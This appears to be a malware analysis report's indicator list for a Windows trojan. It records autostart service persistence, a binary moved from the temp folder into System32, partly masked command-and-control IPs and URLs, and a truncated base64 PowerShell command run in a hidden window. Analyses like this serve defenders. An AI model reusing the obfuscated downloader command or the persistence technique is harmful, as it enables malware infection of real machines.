Technical Information
- [<HKLM>\System\CurrentControlSet\Services\wwanprotdim] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wwanprotdim] 'ImagePath' = '"<SYSTEM32>\getuname\wwanprotdim.exe"'
- 'wwanprotdim' "<SYSTEM32>\getuname\wwanprotdim.exe"
- 'wwanprotdim' <SYSTEM32>\getuname\wwanprotdim.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABaADQAawB5AG0ANwBzAD0AKAAnAFMAdQAnACsAKAAnAHUAdQAnACsAJwBqAHUAJwApACsAJwBjACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgB2ADoAdABlAE0AcABcAFcATwBSAGQAXAAyADAAMQA5AF...
- %TEMP%\word\2019\xd4r2l.exe
- <SYSTEM32>\getuname\wwanprotdim.exe
- from %TEMP%\word\2019\xd4r2l.exe to <SYSTEM32>\getuname\wwanprotdim.exe
- '37.#2.87.0':80
- '87.##8.70.45':8080
- http://je##m.com/themes/nu2/
- http://87.###.70.45:8080/OcmSM2UDD8WLl/fEFFWFTLQ/CbZN/WURFM/ESQooz/9yQhfAEFasnRiAmS0Rr/ via 87.##8.70.45
- DNS ASK je##m.com
- '%TEMP%\word\2019\xd4r2l.exe'
- '<SYSTEM32>\getuname\wwanprotdim.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABaADQAawB5AG0ANwBzAD0AKAAnAFMAdQAnACsAKAAnAHUAdQAnACsAJwBqAHUAJwApACsAJwBjACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgB2ADoAdABlAE0AcABcAFcATwBSAGQAXAAyADAAMQA5AF...' (with hidden window)